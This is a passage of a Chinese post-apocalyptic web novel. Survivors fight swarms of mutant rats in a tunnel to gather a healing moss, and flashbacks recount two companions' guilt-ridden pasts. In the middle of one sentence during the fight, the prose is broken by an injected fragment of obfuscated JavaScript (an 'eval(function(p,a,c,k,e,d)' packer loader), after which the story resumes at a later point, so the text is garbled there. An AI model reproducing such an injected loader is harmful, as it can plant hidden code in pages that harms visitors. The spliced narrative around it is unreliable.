**他爬了不知多久,心里满是后悔和恐惧,只想退出去。但转身困难,手电筒的光在慌乱中扫过洞壁,他好像看到了什么白花花的东西…也许是腐朽的木头,也许是别的。极度的恐惧让他脑子一片空白,只是拼命向前爬,直到从另一个较小的出口狼狈地钻出来,浑身泥土,吓得大哭。从那以后,他对狭窄、黑暗、气味异常的封闭空间,就有了一种刻在骨子里的抗拒。* **后来的人生里,他以为自己早就忘了那种感觉。直到母亲病重,他为了省钱,租下那个城中村最便宜、窗户小得可怜、终年不见阳光的半地下室单间。每晚躺在那里,听着管道诡异的声响,闻着墙壁散发的霉味,那种童年时的恐惧就会悄然复苏,混合着现实的绝望,几乎要把他勒死。* **(回忆结束)** 顾风猛地一咬舌尖,轻微的刺痛和血腥味让他从短暂的恐惧闪回中挣脱。不能在这里退缩。他强迫自己深呼吸,尽管空气污浊,同时更紧地握住了长矛。手心里全是冷汗。 雷烬似乎察觉到了他呼吸的变化,回头看了他一眼,眼神锐利,但没说什么,只是放慢了脚步,示意他更加小心。 通道逐渐向下,坡度平缓但持续。墙壁上开始出现一些非自然的痕迹:细密的抓痕,深深的沟壑,还有一些深褐色的、早已干涸的污渍。腥臊气味越来越明显。老陈提到的“潜影鼠”巢穴,可能不远了。 又前进了大约一百米,前方出现了一个岔路口。一条继续向下,另一条相对平直,但尽头隐约有微弱的气流扰动灰尘。 “通风井应该在平直这条的尽头附近。”雷烬压低声音,几乎是用气声说,“注意两侧和头顶。” 他们选择了平直的通道。火把的光芒在这里显得更加无力,仿佛被无形的黑暗吸收了。顾风凝聚精神,试图看得更远。在他特殊的视野里,黑暗似乎被解析出了一些层次——不是变亮,而是能稍微分辨出不同浓淡的阴影轮廓。他看到了前方通道壁上,一些不规则的、仿佛被反复摩擦的光滑区域,以及地面上零星的、细小的黑色颗粒,像是干燥的粪便。 他轻轻拉了拉雷烬的衣角,指向那些痕迹和颗粒。 雷烬点点头,眼神凝重。他打了个手势,示意准备战斗,然后将火把插在旁边一道裂缝里固定好,从背后抽出了砍刀。阿木留下的那把简陋长矛在狭窄空间未必好用,顾风也将短刀换到了更顺手的位置。 几乎就在他们停下、戒备的瞬间,一阵极其轻微的、如同许多细小硬物刮擦地面的“沙沙”声,从前方的黑暗深处,以及他们头顶的通风管道缝隙里传来! 声音迅速变得密集,从四面八方涌来! 火把的光芒边缘,第一道黑影窜了出来!那东西大约家猫大小,但四肢细长,尾巴光秃无毛,浑身覆盖着暗灰色的、油腻的短毛。它的脑袋尖细,眼睛小得几乎看不见,反射着两点针尖般的油绿幽光。最引人注目的是它的嘴,突出,布满细密锋利的黄褐色牙齿,此刻正无声地龇开着。 潜影鼠!而且不止一只! 沙沙声变成了潮水般的涌动!数十点油绿的幽光在黑暗中亮起,从前方、侧壁、甚至他们身后的通道阴影里浮现!它们没有立刻扑上来,而是形成一个松散的包围圈,缓慢地逼近,细小眼睛里闪烁着贪婪和凶残。 顾风的心脏几乎要跳出胸腔。他背靠着冰冷的墙壁,短刀横在胸前,能感觉到自己握着刀柄的手在微微颤抖。不是害怕战斗,而是这种被无数沉默生物在绝对黑暗中窥视、包围的恐怖感,几乎要压垮理智。 雷烬低吼一声,不是为了威吓鼠群——这些生物似乎不受声音惊吓——而是为了提振己方的气势。他猛地踏前一步,手中砍刀划出一道凌厉的弧线,将最先扑上来的一只潜影鼠凌空斩成两截!污黑的血浆和内脏溅开,腥臭扑鼻。 这一击仿佛打开了开关!鼠群发出一阵尖锐得几乎超越人耳接收范围的嘶叫,如同黑色的潮水般汹涌扑上! 战斗瞬间爆发! 顾风挥动短刀,格开一只从侧面扑向他小腿的老鼠,刀刃砍在坚韧的皮毛和骨头上,发出令人牙酸的摩擦声。另一只从头顶管道裂缝中落下,他险之又险地偏头躲过,老鼠擦着他的肩膀落下,利爪撕破了衣服。他反手一刀刺去,感觉刀尖捅进了柔软的部位,那老鼠发出惨叫,挣扎着掉在地上。 雷烬如同杀戮机器,砍刀挥舞得泼水不进,每一刀都精准狠辣,将扑来的老鼠斩飞。但他的动作空间被限制,无法完全展开。更要命的是,这些老鼠极其狡猾,并不全是正面扑击,许多试图从脚下、从视线死角偷袭。 一只老鼠趁着顾风对付正面之敌,悄无声息地从阴影中窜出,直扑他的脚踝!顾风眼角余光瞥见,却来不及回防! 就在此时,斜刺里一道黑影掠过!是雷烬!他竟在应付两只老鼠扑击的同时,猛地踢出一脚,精准地踹在那只偷袭老鼠的侧腹,将其踢得横飞出去,撞在墙壁上骨裂声清晰可闻! “背靠背!”雷烬吼道,声音在狭窄通道和鼠群嘶叫中依然清晰。 顾风立刻后退,与雷烬背脊相抵。这样一来,防御面大大减少,两人互相照应死角。压力稍减,但鼠群的数量似乎无穷无尽,死去的尸体很快被同类拖走分食,更多的从黑暗中涌出。它们似乎被血腥味彻底激发了凶性。 这样下去不行!会被活活耗死在这里!必须找到凝神苔,或者尽快撤离! 顾风的目光在混乱中飞速扫视。火把的光在激烈战斗中摇曳不定,照亮范围有限。忽然,在他凝聚精神、近乎本能地运用那特殊视野时,他注意到前方通道尽头,大约二十米外,靠近顶部通风栅栏的下方墙壁上,似乎有一片区域的颜色与周围不同——是一种极其黯淡的、近乎灰色的暗绿,紧贴着潮湿的墙壁生长,若不仔细看,几乎与阴影融为一体。 凝神苔?! 几乎同时,他感觉到脚下自己的影子,在火光明灭和激烈动作中,似乎**异常稳定**。不像他的身体因为紧张和剧烈运动而紧绷颤抖,那团影子只是随着火光变化而忠实地改变形状和大小,甚至…当一只老鼠的影子与他的影子边缘接触时,顾风恍惚觉得,自己的影子边缘,极其细微地**波动**了一下,仿佛平静水面上被投入一粒小石子。而那只正扑向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾风将装满凝神苔的布袋扎紧塞好,挥舞武器接应雷烬。两人重新汇合,背靠着那片生长凝神苔的墙壁,面对重新聚拢、虎视眈眈的鼠群。它们似乎对这片区域有些忌惮,没有立刻再次扑上,只是围成半圆,不断嘶叫,油绿的眼睛死死盯着他们,尤其是顾风手里的布袋。 “慢慢退,往入口方向。”雷烬喘着粗气,左臂的伤口血流不止,但他的眼神依旧锐利,握刀的手稳如磐石。 他们开始缓慢地、一步一步地向来路挪动。鼠群紧紧跟随,始终保持着威胁距离,但似乎没有再发动集群冲锋。或许是因为猎物已经受伤流血,或许是因为它们对凝神苔的气味有所顾忌,也或许…是顾风脚下那团在激烈战斗后似乎颜色更深邃了一些的影子,散发出某种难以言喻的、令它们本能警惕的气息。 撤退比前进更加煎熬,每一秒都担心鼠群会再次暴起。通道似乎比来时更长。终于,他们看到了前方岔路口处插着的火把光芒,以及更远处,阿木守在入口缝隙处的魁梧身影轮廓。 鼠群在接近岔路口时停了下来,不甘地嘶叫着,最终消失在身后的黑暗深处。 当顾风和雷烬终于踉跄着挤出地下车库的缝隙,重新回到相对开阔(尽管仍是废墟)的地面时,两人都几乎虚脱。顾风身上多处抓伤咬伤,火辣辣地疼。雷烬左臂的伤口更是狰狞,皮肉翻卷,血流虽然减缓,但必须立刻处理。 阿木看到他们的样子,脸色一沉,迅速上前接应,同时警惕地扫视周围,防止有潜影鼠跟出。 “拿到了吗?”阿木问,声音依旧简短。 顾风点点头,拍了拍鼓囊囊的布袋。 “撤,先回据点。”雷烬脸色苍白,但语气不容置疑。 返程的路,因为两人的伤势而显得更加漫长和痛苦。但或许是凝神苔散发的那一丝微弱清新气息驱散了部分疲惫,又或许是绝境中完成任务带来的微弱振奋支撑着他们,他们终于在天色(如果那永恒铅灰的变化能称为天色)变得更加晦暗之前,回到了五金店地下室的据点。 看到他们满身是血、狼狈不堪地回来,林岚和老陈立刻迎上。林岚迅速检查雷烬的伤口,脸色变得更加凝重。“伤口很深,而且…可能沾染了鼠群的秽毒,必须立刻清理。” 她让雷烬坐下,点燃一小簇酒精(宝贵的医疗物资)为刀具消毒,然后开始小心翼翼地清理伤口、挤出可能不洁的污血。雷烬咬紧牙关,额头上渗出豆大的汗珠,但一声不吭。 顾风的伤口相对较浅,林岚快速为他清洗包扎,敷上一些消炎止血的草药粉末。处理过程中,顾风拿出了那个装着凝神苔的布袋。 林岚接过,仔细查看,又闻了闻,紧绷的脸上终于露出一丝如释重负。“是凝神苔,而且品质不错,活性还在。足够制备一些稳定剂了。”她立刻取出一部分,用石块在铁板上小心研磨成糊状,混合了一点净水和另一种顾风不认识的干粉,制成深绿色的粘稠药膏。 她先给依旧意识昏沉、不时抽搐的小豆额头上敷了一些,又将少量药膏敷在雷烬伤口周围。“外敷能清心宁神,对抗精神干扰的余波和可能的秽毒影响。内服的话…需要更复杂的处理,我们现在条件不够,但外敷应该能暂时稳住小豆的情况,至少让他不再恶化。” 做完这一切,据点里重新安静下来,只有火把燃烧的噼啪声和几人粗重不一的呼吸声。疲惫如同潮水般席卷了每个人。顾风靠坐在墙边,包扎好的伤口还在隐隐作痛,但更让他心神不宁的,是战斗最后时刻,自己影子那异常的“稳定”和似乎能影响潜影鼠的微妙波动。 他低头看去。在据点相对稳定的火光下,他的影子投在身侧墙壁上。颜色比之前似乎更深了,边缘依旧清晰,没有蠕动。但他凝视久了,仿佛能感觉到那团黑影也在“凝视”着他,带着一种冰冷的、沉默的…**餍足**? 他猛地移开视线,心脏狂跳。 这一次,他们拿到了救命的凝神苔,稳住了小豆,自己也活了下来。但每个人都付出了代价,无论是身体上的伤口,还是精神上更深的磨损。 而在黑暗隧道里,那些油绿的眼睛,和脚下这片似乎开始展现出更多“活性”的影子,都在无声地提醒他:这个末世,给予的每一丝希望,都早已在暗中标好了更残酷的价格。 10. 无声的重量 时间在黑暗的地下据点里失去了刻度,只能通过身体的需要和火把的更换来模糊估算。雷烬的伤口在林岚的精心处理和阿木带回的、某种变异蜥蜴分泌的凝血粘液帮助下,终于止住了血,开始结痂。但失血和可能的毒素影响让他异常虚弱,大部分时间都靠着墙壁昏睡,脸色苍白,呼吸粗重。每一次咳嗽都牵动伤口,让他额角渗出冷汗。 小豆在额头上持续敷用凝神苔药膏后,情况稳定下来。不再抽搐,噩梦般的呓语也减少了,只是依然昏沉,偶尔会茫然地睁眼看看四周,很快又陷入半睡半醒的状态。林岚说,这是精神受创后本能的保护性休眠,需要时间和更有效的药物才能真正恢复。 队伍失去了最锋利的矛和最坚固的盾,被迫滞留在这个相对隐蔽但也危机四伏的据点里。食物和净水在缓慢消耗,寂静中弥漫着焦虑。 顾风的皮外伤愈合得很快,这得益于淡金色灵珠持续滋养的身体。但他内心的不安却在与日俱增。影子的问题如同悬在头顶的利剑。隧道战斗最后那瞬间的异样感,像一根刺扎在脑海里。他尝试过几次,在独自警戒或休息时,集中精神去“感受”脚下的阴影。有时,他似乎能捕捉到一丝极其微弱、冰冷而陌生的“脉动”,与他自己的心跳完全不同步;有时,又一切如常,仿佛之前的都是错觉和紧张导致的幻觉。 他不敢声张,尤其是在雷重伤、小豆未醒的当下。但他需要信息。 林岚是队伍里知识最渊博的人,似乎对许多变异生物、草药,乃至一些“旧世界”的残留知识都有了解。她也是除雷烬外,对“异变”和“灵珠”话题最不避讳的人。 这天,轮到顾风和清醒时的雷烬负责警戒入口(雷烬坚持如此,只是坐着),林岚在角落用一块相对干净的石板小心处理、晾晒剩余的凝神苔。顾风挪了过去,假装帮忙。 “林岚姐,”他压低声音,尽量让语气听起来只是好奇,“你之前说,我们身上的‘问题’,在这里可能成为工具…是什么意思?” 林岚手上的动作顿了一下,没有立刻抬头,继续将一片苔藓摊开。“就是对字面的理解,顾风。”她的声音很轻,“从‘摇篮’里出来的人,或多或少,都和正常世界的人…不太一样了。可能是身体,可能是精神,也可能是别的什么。”她抬眼看了顾风一下,眼神复杂,“这种‘不一样’,在旧世界叫病,在这里,如果控制得好,或许能让你多活几天。” “比如…影子?”顾风试探着问。 林岚的目光锐利起来,她放下手里的苔藓,拍了拍手上的碎屑。“你感觉到什么了?” 顾风犹豫了一下,还是将隧道里最后时刻,影子的异常“稳定”和可能对潜影鼠产生的微妙影响说了出来,省略了那种被“凝视”的诡异感觉。 林岚听得很仔细,眉头渐渐蹙起。“影响外界生物…这很少见。通常,‘影子’类异变的初期表现,更多是针对自身,或者对环境中的‘暗影能量’更敏感。”她思索着,“你结算时获得的那颗淡金色灵珠,还在吗?” 顾风点头,从贴身口袋里拿出来。珠子在昏暗光线下,依旧流转着内敛的淡金微光。 林岚没有接过去,只是仔细看着。“‘赎回自我边界’的代价…你支付的是‘清晰看待世界的视线’。这很抽象,但往往意味着你的‘认知’或‘感知’层面发生了某种变化或强化。”她顿了顿,“也许,你开始能‘看到’或‘感觉到’影子更深层的状态,甚至…在特定情况下,能施加微弱的影响。但这只是猜测。” “这影响…是好事吗?”顾风问。 “不知道。”林岚回答得很干脆,“任何超出常规的能力,在使用时都在支付额外的代价。可能是消耗灵珠能量更快,可能是加剧你自身的异变,也可能是吸引来更麻烦的东西——有些存在,对特殊的‘波动’很感兴趣。”她的目光扫过顾风脚下,“尤其是在你还没能真正理解和控制它的时候,最好…保持低调,尽量别用它。” 顾风默然,将灵珠收回。林岚的话没有带来安慰,反而增添了更深的不确定性。但他至少知道,自己不是唯一的特例,也并非完全盲目。 “对了,”林岚像是想起什么,声音压得更低,“关于阿木…你最好别在他面前提起‘声音’或者‘听力’相关的事,尤其是…巨大的声响。” 顾风一愣:“为什么?” 林岚看了一眼守在另一侧通道阴影里、如同岩石般沉默的阿木,眼神里掠过一丝同情。“那是他的‘亏欠’,也是他变成现在这样的原因。他以前…不是这样的。” 她没有再说下去,但顾风已经明白。在这个末世,每个人都有不愿触及的过往,都有无法偿还的“债务”。阿木的沉默,或许就是他那份债务最沉重的利息。 警戒时间轮换。顾风回到休息处,接过老陈递过来的半块压缩干粮和一小口水。老陈自己只抿了一小口,就小心翼翼地把水壶盖拧紧。这个头发花白的男人脸上总是带着一种认命般的疲惫和挥之不去的恐惧,仿佛惊弓之鸟。顾风对他了解最少,只知道他似乎对这片区域的旧建筑结构有些记忆。 “老陈,你来这里之前…是做什么的?”顾风咬了一口干粮,随口问道,试图驱散一些沉闷。 老陈的身体几不可察地抖了一下,浑浊的眼睛里闪过慌乱。“我…我就是个普通工人,厂子里的…后来,大崩溃了,就…就到处躲。”他语无伦次,眼神躲闪,显然不愿多谈。 顾风不再追问。又是一段被痛苦和恐惧尘封的记忆。 后半夜,轮到阿木和顾风警戒。雷烬终于支撑不住,在林岚的强迫下躺下休息,但睡得很不安稳。小豆依旧昏沉。林岚在照顾他们间歇,也累得靠着墙壁打盹。老陈则蜷缩在离火把最远的角落,似乎睡着了,但眼皮不时颤动。 据点里只剩下火把燃烧的噼啪声,和几人深浅不一的呼吸声。绝对的寂静包裹着这片小小的空间,又将无限的危险隔绝在门外的黑暗废墟中。这种寂静,比喧嚣更让人心神不宁,因为它掩盖了太多可能的逼近。 阿木守在卷帘门缺口内侧的阴影里,几乎与黑暗融为一体。他坐姿笔直,那把沉重的改造砍刀横放在膝上,手掌轻轻覆着刀柄。他的眼睛在黑暗中微微反光,像两点冰冷的炭火,一瞬不瞬地盯着门外的虚无。 顾风则坐在稍靠里一点的位置,背靠着一个空铁桶,长矛放在手边。他的目光不时扫过入口,又掠过据点内沉睡的同伴,最后落回自己身前跳动的火光投下的摇曳阴影上。他试图放空大脑,但隧道里潜影鼠油绿的眼睛、影子那诡异的“稳定”,以及林岚关于“代价”和“吸引麻烦”的警告,总是不由自主地浮现。 就在这时—— “咯啦…哗啦……” 一阵极其轻微、但绝非幻觉的声响,从据点深处、他们未曾仔细探索过的黑暗角落传来!像是细碎的石子滚动,又像是某种轻巧的东西刮擦过金属表面。 声音很轻,但在绝对的寂静中,清晰得刺耳! 顾风瞬间绷紧了身体,抓起了长矛,目光死死盯向声音来源的方向——那里堆着更多的废弃货架和杂物,火把的光完全照不到,是一片浓稠的黑暗。 几乎在同一时刻,一直如同雕像般的阿木,身体也几不可察地震动了一下。他没有立刻转头,但覆在刀柄上的手指,猛然收紧,指节泛白。他整个人的气息,在那一瞬间,从冰冷的警戒,变成了一种更加深沉、更加压抑的…**紧绷**。 那不是对普通危险的戒备。那是一种仿佛被触动了某个致命开关的反应。 *那声音…太熟悉了。不是现在这种,是另一种,但也同样是轻微得几乎被忽略,同样来自黑暗的、未被注意的角落。 **那时他还不叫阿木,他叫吴铁。他是“磐石”庇护所外墙维修队的一名骨干。他力气大,沉默,但做事扎实可靠。他有个妻子,叫小芹,温柔爱笑,在庇护所内部的种植区工作。他们还有一个五岁的女儿,叫妞妞,眼睛像她妈妈,亮晶晶的,最喜欢缠着他讲“旧世界”那些已经模糊不清的故事。* **庇护所的外墙年久失修,出现了一道不起眼的裂缝,在底部排水沟附近,被杂草和垃圾遮掩。巡逻队报告过,但优先级不高。那天轮到他带小队去做例行维护检查。妞妞那天不知怎的,非要跟着他,说想看看爸爸工作的地方。小芹拗不过,加上只是庇护所外墙内侧的相对安全区域,就同意了。* **他检查着其他部分,妞妞就在不远处的空地上玩石子,哼着不成调的歌。一切都那么平常。* **然后,他就听到了那个声音——从那段有裂缝的墙根附近,一堆废弃建材后面传来的一声轻微的“咯啦”声,像是小石头被碰落。他当时没太在意,以为是老鼠或者风吹。只是下意识地往那边瞥了一眼。* **就在他分神的那一两秒,他负责检查的一处老旧的墙体加固螺栓,因为常年锈蚀和承重,突然崩断了!上方一块松动的预制板轰然滑落!而他原本站的位置,正好是预制板砸落的范围!* **千钧一发之际,是队里一个年轻的小伙子,叫小李,猛地从旁边扑过来,将他狠狠撞开!* **“轰!”预制板砸在地上,尘土飞扬。他摔倒在地,安然无恙。* **但小李…小李的腿被垮塌下来的另一堆杂物压住了,鲜血瞬间染红了地面。他惨叫起来。* **吴铁脑子一片空白,赶紧和其他队员去搬杂物救人。一片混乱中,他眼角余光似乎看到,那段有裂缝的墙根处,杂草晃动了一下,一个矮小、佝偻、皮肤灰暗的身影一闪而过,钻进了墙体外侧更深的阴影里。但那时的他,全部心思都在惨叫的小李身上。* **小李最终被救了出来,但腿废了,从此离不开拐杖。庇护所的医疗条件有限,他感染了,高烧了几天,差点没挺过来。* **吴铁内心充满了愧疚。如果不是自己分神,如果不是小李救他…他承担了小李所有的医疗费用(尽管也没多少),尽可能照顾他。但小李看他的眼神,从最初的痛苦,慢慢变成了麻木,最后是一种让他无法直视的、深不见底的黯淡。小李原本是个很活跃、很有想法的小伙子,梦想着有一天能跟着探险队出去寻找更多的资源。现在,一切都毁了。* **吴铁变得越发沉默,只是拼命工作,想弥补。他总觉得,墙根那个声音和一闪而过的影子有问题,但没人相信他,都说是他压力太大产生的幻觉,或者就是一只大点的老鼠。* **真正的噩梦在一个月后。那天他休息,和小芹一起带妞妞在相对安全的内部区域散步。妞妞跑在前面,捡到了一颗闪闪发亮的彩色玻璃珠(可能是某个旧玩具上掉落的),开心地跑回来想给他看。* **就在妞妞离他还有几步远的时候,庇护所内部用来分隔区域的、同样老旧的一道金属隔离栅栏,毫无征兆地整体倾倒下来!那栅栏很重,边缘锋利!* **而妞妞,正好在栅栏倒下的阴影里!* **时间仿佛凝固。小芹的尖叫,周围人的惊呼,都变成了模糊的背景音。他只看到妞妞仰起的小脸上快乐的笑容瞬间被惊恐取代,看到那巨大的阴影向她压去。* **他用尽毕生最快的速度扑过去,脑子里只有一个念头:推开她!* **他碰到了妞妞的衣服,用力将她往外推。妞妞被他推得踉跄扑倒,摔在安全区域。* **而他自己,因为全力前扑和推搡的反作用力,身体失去了平衡,没能完全躲开。* **“哐!!!”* **沉重的栅栏边缘,擦着他的左侧身体砸落在地。剧痛瞬间淹没了他, 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**他不知道。他只知道,因为第一次的“意外”,小李残废了。因为第二次的“意外”,他自己重伤,差点死去(休养了足足三个月),而且…他保护了妞妞,但那种与死亡擦肩而过、女儿险些丧命的巨大后怕和恐惧,深深地刻进了小芹和妞妞的心里。她们看他的眼神,除了心疼,也多了某种难以言说的、仿佛他带来了厄运的恐惧。* **庇护所的管理层依然不相信他关于“阴影中东西”的说法,认为只是接连的不幸和巧合,加上他重伤后精神不稳。* **伤愈后,吴铁变得更沉默了,几乎不再说话。他总觉得有冰冷的目光在阴影里注视着他和他的家人。他不敢再让妞妞离开视线,变得过度警惕,任何一点风吹草动都让他紧张。这种状态影响了工作,也让家庭气氛越发压抑。小芹脸上的笑容越来越少,妞妞也变得胆怯。* **直到有一天,他因为一个极其微小的、仿佛金属刮擦的声音而猛地跳起,撞翻了桌子,吓哭了妞妞。小芹抱着哭泣的女儿,看着他,眼泪无声地流下来,说:“铁子,你这样…我们都很累。”* **那一刻,他明白了。他成了她们的负担和恐惧之源。他的存在本身,似乎就会吸引那些隐藏在阴影里的“意外”。他欠小李一条健全的腿和未来,欠家人一份安宁。* **后来,“磐石”庇护所在一次大规模的袭击中陷落了。混乱中,他拼命保护家人,但失散了。他再也没找到小芹和妞妞。也许她们死在了那场混乱里,也许还活着,在别的什么地方。但他知道,自己再也无法回到她们身边了。他是不祥的,是会带来厄运的。* **他逃了出来,独自在废墟里流浪了很久,像一具没有灵魂的行尸走肉。直到遇到雷烬和林岚,他们不问他的过去,只看他还能握刀,还能战斗,还能遵守命令。于是他跟着他们,改名叫阿木,像一块木头,沉默,坚硬,只做该做的事,不说多余的话。他用这种方式,惩罚自己,也偿还那份永远无法清偿的亏欠——对小李,对小芹,对妞妞。而那份对阴影中轻微异响的、深入骨髓的警惕和瞬间爆发的杀意,则成了他在这末世生存的本能,也是他永远无法摆脱的梦魇。* 那从据点深处传来的“咯啦…哗啦”声已经消失了,仿佛从未出现过。但据点内的气氛已经彻底改变。 阿木缓缓地、无声地从阴影中站了起来。他没有冲向声音来源,而是像一头蓄势待发的黑豹,全身肌肉紧绷,目光死死锁定了那片黑暗的角落,握着刀柄的手背青筋虬结。他的呼吸变得极其轻微,几乎听不见,但顾风能感觉到一种可怕的、近乎实质的杀气从他身上弥漫开来。 顾风也站了起来,握紧长矛,心脏狂跳。他不知道阿木的过去,但能感觉到这个沉默的汉子此刻状态极端危险,而且针对的,可能不仅仅是潜在的外来威胁。 林岚和雷烬也被这凝重的气氛惊醒了。雷烬勉强撑起身体,眼神锐利地看向阿木和顾风警戒的方向。林岚则迅速而无声地移动到了小豆和老陈身边,将他们护在身后,手中多了一把小巧但锋利的匕首。 火把的光芒在空气中不安地跳跃,将几个人的影子投在墙壁上,张牙舞爪。 那片传来声响的黑暗角落,寂静无声。仿佛刚才的一切只是集体幻觉。 但阿木没有放松。他就那么站着,盯着,像一尊冰冷的杀神。时间一分一秒过去,压抑得让人喘不过气。 顾风忍不住想开口询问,或者提议过去查看。但看到阿木那副模样,话堵在喉咙里,说不出来。 最终,是雷烬嘶哑的声音打破了死寂:“阿木。” 只是叫了一声名字,没有命令,没有询问。 阿木的身体几不可察地晃了一下,仿佛从某种极深的梦魇中被强行拉回。他极其缓慢地转过头,看向雷烬。眼中的冰冷杀意和深藏的痛楚如潮水般退去,重新变回那种惯常的、石头般的沉寂。但他握着刀的手,依旧没有松开。 “可能是…结构松动的杂物,或者…很小的变异虫。”雷烬慢慢地说,声音带着重伤后的虚弱,却有一种奇特的安抚力量,“休息吧。顾风,提高警惕。” 阿木沉默地又看了一眼那片黑暗,终于,缓缓坐回了原位,但姿势依旧紧绷,刀依旧横在膝上。 危机似乎暂时解除。但所有人都知道,有些东西不一样了。阿木那瞬间爆发的、几乎要撕裂空气的可怕气息,和他眼中一闪而逝的深切痛苦,都在无声地诉说着一个沉重无比的故事。 顾风重新坐下,后背却已被冷汗浸湿。他不仅因为可能存在的潜在危险,更因为阿木的反应。那份沉默之下的重量,似乎比这废墟世界本身,更让人感到窒息。 这一夜,无人再能安睡。火把的光摇曳着,试图驱散角落的黑暗,也试图照亮每个人心中那片更深的、无法言说的阴影。 而顾风脚下的影子,在火光和众人紧张的影子交织中,安静地伏着,颜色似乎比任何时候都要深沉。 11. 老陈的图纸 压抑与等待如同钝刀,缓慢切割着每个人的神经。雷烬的伤口开始收口,但失血和毒素侵蚀带来的虚弱期比预想更长。他大部分时间仍然只能靠着墙壁,勉强保持清醒参与决策,但起身走动几步都会让他气喘吁吁,脸色苍白如纸。小豆的情况在林岚用凝神苔和其他几种干燥草药调配的熏香作用下,有了些许好转。昏睡时间减少,能睁眼认人,对简单的指令做出反应,但眼神依旧空洞,言语混乱,像个受了巨大惊吓后丢了魂的孩子。 更紧迫的是物资。压缩干粮只剩下最后几块,净水也即将见底。阿木冒险在附近废墟搜寻过两次,只带回来一些锈蚀的金属零件(或许能用来加固武器或制作陷阱)和少量勉强可食用的、带着苦涩味的变异块茎。这些支撑不了多久。 必须找到新的补给点,尤其是药物和食物。雷烬需要抗生素或更有效的解毒剂,小豆需要真正的“清心珠”或类似效用的精神稳定药物。所有人都需要填饱肚子。 压力之下,目光不由自主地转向了老陈。这个畏缩胆怯、总是试图缩小自己存在感的男人,是队伍里唯一对这片区域旧世界建筑布局还有模糊记忆的人。之前寻找凝神苔时,他的记忆发挥了作用,尽管过程险象环生。 这天下午(根据生物钟和火把消耗估算),雷烬靠在墙边,看着林岚将最后一点净水分给昏睡的小豆,然后舔了舔自己干裂的嘴唇。他的目光转向角落里蜷缩着的老陈。 “老陈。”雷烬的声音依旧沙哑,但带着不容置疑的力量。 老陈的身体猛地一抖,像被鞭子抽了一下,惊慌地抬起头。“雷…雷哥?” “这附近,”雷烬缓慢地说,每一个字都像是在积攒力气,“有没有可能…还有旧世界的药店、诊所,或者…任何可能存有药品,或者密封食物的地方?不是那些被搜刮了无数遍的废墟,是…可能被遗漏的,或者一般人不知道的。” 老陈的眼神瞬间变得极其慌乱,他下意识地避开雷烬的目光,嘴唇哆嗦着,双手不自觉地抓紧了膝盖上破旧的裤子。“我…我不知道…真的…太久了…都忘了…” “仔细想。”阿木忽然开口,声音低沉如石磨滚动。他不知何时也看了过来,那双惯常沉寂的眼睛里,此刻带着一种近乎逼迫的专注。经历过隧道事件和那夜的无声对峙后,阿木对任何可能隐藏的危险都保持着最高级别的警惕,而未知往往意味着最大的危险。他需要确切的信息,而不是含糊其辞。 林岚也走了过来,蹲在老陈面前,语气比雷烬和阿木温和,却同样坚定:“陈叔,我们都知道你记得一些东西。小豆需要药,雷哥的伤也需要。我们现在的状态,走不远,也没本钱去那些众所周知、早就被挖空或者被强大东西占据的地方碰运气。如果你知道任何线索,哪怕只有一点点希望,都请告诉我们。这不是请求,是为了活下去。” 老陈的脸色更加苍白,额头上冒出细密的冷汗。他的目光在雷烬、阿木、林岚,甚至旁边沉默的顾风脸上扫过,最后又瑟缩回去,死死盯着自己脏污的鞋尖。他的胸口剧烈起伏,显然内心在进行着激烈的挣扎。 **(老陈的回忆触发点:被逼问“隐藏地点”与“药品/食物”)** **药品…食物…隐藏的地点…这几个词像冰冷的针,扎进老陈记忆最深处那片被刻意冰封的荒原。* **他不是普通工人。他是“绿洲”生态穹顶项目第三区的环境维护工程师之一。大崩溃前,那是最后一批试图在恶劣环境中建立自循环生存单元的尖端项目之一。他负责的是地下储备库的温压控制系统和一部分应急物资台账。* **大崩溃来得毫无征兆,却又仿佛蓄谋已久。穹顶外的世界在尖叫中崩塌,内部也陷入疯狂。能源中断,系统失灵,暴乱和抢夺在精美的生态园林里上演。他和妻子,还有他们刚满十岁的女儿小芸,跟着一部分还算理智的同事和技术人员,退守到了他负责的区域之一——一个相对独立、储备着部分应急物资和种子的地下预备维护站。* **那里有独立的小型发电机,有有限的空气循环,有药品(主要是维护人员用的常备药和少量抗辐射药剂),有密封的应急口粮和水。最重要的是,位置隐蔽,入口巧妙,知道具体坐标和开启方法的人极少。那是他们最后的希望。* **起初的几天,靠着储备,他们熬了过来,躲过了外面的混乱。但人数比预想的多,储备消耗很快。更糟糕的是,有人受伤感染,药品开始短缺。争吵和猜忌在绝望中滋生。作为工程师之一,老陈(那时他还叫陈工)被推举负责物资管理和分配。* **那是一个地狱般的抉择。要把最后的抗生素给谁?重伤但年轻力壮的警卫,还是发烧的资深农艺师?压缩饼干是按人头平分,还是优先保证技术人员和警卫的体力以应对可能的外来威胁?每一口食物,每一片药,都沾着人性的重量。* **他尽力维持着脆弱的平衡,但压力几乎将他压垮。妻子看着他日益憔悴,女儿小芸在昏暗的灯光下抱着膝盖,眼神充满恐惧。* **然后,最坏的情况发生了。地下结构因为不明原因的震动出现局部渗水,靠近储备库的一个区域开始积水。必须有人冒险去检查上游的管道阀门,并尝试排水,否则一旦浸泡到储备库的电子控制单元,他们可能永远被困死在这里,或者失去最后的物资。* **人选成了难题。需要懂管道结构,有体力,还要勇敢。一个叫大刘的年轻管道工站了出来,他经验丰富,体力好。但大刘之前搬运重物时扭伤了脚踝,虽然不严重,但行动有些不便。另一个选择是老陈自己,他熟悉整体结构,但体力一般,而且从未实际操作过紧急排水阀门。* **最终,是大刘咬着牙说:“陈工,你留着分配物资更重要。我去,我熟悉那套阀门,脚没事,能走。”* **老陈记得自己当时如释重负,又无比羞愧。他把自己那份当天配给的营养膏塞给大刘,拍了拍他的肩膀,说了句“小心”。大刘憨厚地笑了笑,拖着伤脚,带着简易工具和唯一一台还能勉强工作的头灯,消失在了维护通道的黑暗里。* **那一去,就再也没有回来。* **几个小时后,深处传来一声沉闷的巨响,然后是剧烈的水流奔涌声!整个地下空间都在震动!所有人都吓坏了。等水流声稍歇,几个胆大的摸过去查看,只看到被暴力冲开的管道闸口和一片狼藉。大刘不见了踪影,连带着工具和头灯。只有水面上漂浮着一点他工装口袋的碎片。* **他被卷走了。死不见尸。* 